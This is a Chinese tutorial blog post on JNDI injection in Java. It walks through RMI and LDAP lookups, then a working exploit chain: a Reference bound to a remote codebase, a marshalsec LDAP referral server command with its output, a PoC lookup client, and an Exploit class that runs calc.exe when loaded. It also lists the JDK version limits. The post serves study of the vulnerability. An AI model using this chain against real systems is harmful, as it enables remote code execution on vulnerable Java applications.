zoukankan      html  css  js  c++  java
  • javaweb-JNDI注入

    0x01什么叫JNDI

    JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。
    
    JNDI是一个API,允许客户端通过name发现和查找数据和对象。
    

     

     在 Java 中为了能够更方便的管理、访问和调用远程的资源对象,常常会使用 LDAP 和 RMI 等服务来将资源对象或方法绑定在固定的远程服务端,供应用程序来进行访问和调用。为了更好的理解整个 JNDI 注入产生的原因,下面用实际代码来说明一下常规 RMI 访问和使用 JNDI 访问 RMI 的区别。

    0x02JNDI-RMI

    首先一个对象方法要被远程应用所调用需要其extends与java.rmi.Remote接口,并且需要抛出RemoteException异常,而远程对象必须实现java.rmi.server.UniCastRemteObject类。

    首先创建一个继承Rmote的接口Print

     再创建RemoteClass类继承UniCastRemoteObject并且包含Print接口

     最后用RMI绑定实列对象,并且使用JNDI去获取并调用方法Printworld

    LocalRMI.java

    package Print;
    
    import java.rmi.registry.LocateRegistry;
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import java.util.Hashtable;
    import Print.RemoteClasss;
    
    
    public class LocaRmi {
        final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory";
        final static String PROVIDER_URL = "rmi://localhost:8080";
    
        public static void main(String[] args) throws Exception {
            //注册RMI服务器端口
            LocateRegistry.createRegistry(8080);
    
            Hashtable<String, Object> env = new Hashtable< >();
            env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY);
            env.put(Context.PROVIDER_URL, PROVIDER_URL);
            Context ctx = new InitialContext(env);
    
            RemoteClasss RemoteClass = new RemoteClasss();
            ctx.bind("exp",RemoteClass);
            System.out.println("Jndi服务已绑定...");
        }
    
    }
    

    ClentRMI.java

    package Print;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import java.util.Hashtable;
    
    
    public class ClinetRmi {
        final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory";
        final static String PROVIDER_URL = "rmi://localhost:8080";
    
        public static void main(String[] args) throws Exception {
            Hashtable<String, Object> env = new Hashtable<>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY);
            env.put(Context.PROVIDER_URL, PROVIDER_URL);
            Context ctx = new InitialContext(env);
    
            Print Remotec = (Print) ctx.lookup("exp");
            for (int i = 0; i < 5; i++) {
                System.out.println(Remotec.Printworld("ohohohohohohohoh"));
            }
            System.out.println("-------------------");
        }
    
    }
    

     

     这里是通过JNDI获取远程函数Print并且传入string,再远程执行后返回结果到Client

      RMI 中动态加载字节代码

    使用RMI Remote Object的方式在RMI那一节我们能够看到,利用限制很大。但是使用RMI+JNDI Reference就没有那些限制,不过在JDK 6u132、JDK 7u122、JDK 8u113 之后,系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
    
    如果远程获取到RMI服务上的对象为 Reference类或者其子类,则在客户端获取远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化获取Stub对象。
    
    Reference中几个比较关键的属性:
    
    className - 远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
    classFactory - 远程的工厂类
    classFactoryLocation - 工厂类加载的地址,可以是file://、ftp://、http:// 等协议
    使用ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问,客户端可以访问该引用。

    当有客户端通过 lookup("refObj") 获取远程对象时,获得到一个 Reference 类的存根,由于获取的是一个 Reference类的实例,
    客户端会首先去本地的 CLASSPATH 去寻找被标识为 refClassName 的类,
    如果本地未找到,则会去请求 http://example.com:12345/FactoryClassName.class 加载工厂类。

    如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

    RemoteClass.java

    packge Print;
    import java.lang.Runtime;
    import java.lang.Process;
    
    public class EvilObject {
        public EvilObject() throws Exception {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"calc.exe"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        }
    }
    

    localRMI.java

    package Print;
    
    import java.rmi.registry.LocateRegistry;
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import javax.naming.Reference;
    import java.util.Hashtable;
    import Print.RemoteClasss;
    import com.sun.jndi.rmi.registry.ReferenceWrapper;
    
    
    public class LocaRmi {
        final static String CONTEXT_FACTORY = "com.sun.jndi.rmi.registry.RegistryContextFactory";
        final static String PROVIDER_URL = "rmi://localhost:8080";
    
        public static void main(String[] args) throws Exception {
    /*        //注册RMI服务器端口
    */        LocateRegistry.createRegistry(8080);
    
            Hashtable<String, Object> env = new Hashtable< >();
            env.put(Context.INITIAL_CONTEXT_FACTORY, CONTEXT_FACTORY);
            env.put(Context.PROVIDER_URL, PROVIDER_URL);
            Context ctx = new InitialContext(env);
            Reference refObj = new Reference("RemoteClasss", "Print.RemoteClasss", "http://127.0.0.1:80/");
            ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
    /*        RemoteClasss RemoteClass = new RemoteClasss();*/
            ctx.bind("exp",refObjWrapper);
            System.out.println("Jndi服务已绑定...");
        }
    
    }
    

     ClientRmi.java

    package Print;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    import java.util.Hashtable;
    
    
    public class ClinetRmi {
    
        public static void main(String[] args) throws Exception {
            Context ctx = new InitialContext(); 
         ctx.lookup("rmi://localhost:8080/exp");
    } }

     参考

    0X03JNDI-LDAP 测试环境8u211

    JNDI Reference配合LDAP
    在上文中说过,JNDI一般配合RMI、LDAP等协议进行使用,所以上文中有RMI,自然就有LDAP。使用LDAP与上文中的RMI大同小异。所以我直接使用marshalsec启动LDAP服务,LDAP服务默认端口号为1389。
    
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#ExportObject 1389
    BASH
    JNDI注入的JDK版本限制
    由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false属性的限制。
    
    但是不可避免的受到 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase的限制。
    
    JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
    JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false
    JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false
    一张图来展示JNDI注入的利用方式与JDK版本的关系:
    

     

     这里我们为了简便使用集成的marshalsec

    C:UsersjavaDesktop>java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi
    .LDAPRefServer http://127.0.0.1:8080/#Exploit
    Listening on 0.0.0.0:1389
    Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8080/Expl
    oit.class
    Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8080/Expl
    oit.class
    

     POC.java

    package Ldap;
    
    import javax.naming.Context;
    import javax.naming.InitialContext;
    public class Poc {
        public static void main(String[] args) throws Exception {
    
            System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
            String uri = "ldap://127.0.0.1:1389/Exploit";
            Context ctx = new InitialContext();
            ctx.lookup(uri);
    
        }
    }
    

     Exploit.java

    
    public class Exploit {
        public Exploit(){
            try {
                java.lang.Runtime.getRuntime().exec(
                        new String[]{"calc.exe"});
                        } catch(Exception e){
                    e.printStackTrace();
                }
            }
            public static void main(String[] argv){
                Exploit e = new Exploit();
            }
        }
    

     

    https://blog.csdn.net/zhangzeyuaaa/article/details/53385028
    https://patrilic.top/2020/03/15/JNDI%E6%B3%A8%E5%85%A5/#0x01-JNDI-RMI
    https://paper.seebug.org/1091/
    https://paper.seebug.org/1091/#jndildap
    https://y4er.com/post/attack-java-jndi-rmi-ldap-2/ https://rickgray.me/2016/08/19/jndi-injection-from-theory-to-apply-blackhat-review/#1-JNDI-%E8%8E%B7%E5%8F%96%E5%B9%B6%E8%B0%83%E7%94%A8%E8%BF%9C%E7%A8%8B%E6%96%B9%E6%B3%95
  • 相关阅读:
    asp.net mvc上传图片案例
    kafka 常用参数
    play framework 笔记
    调试 kafka manager 源码
    kafka AdminClient 闲时关闭连接
    kafka 心跳和 rebalance
    kafka producer batch 发送消息
    kafka producer 发送消息简介
    zk 的配额
    kafka consumer 指定 offset,进行消息回溯
  • 原文地址:https://www.cnblogs.com/-zhong/p/14624112.html
Copyright © 2011-2022 走看看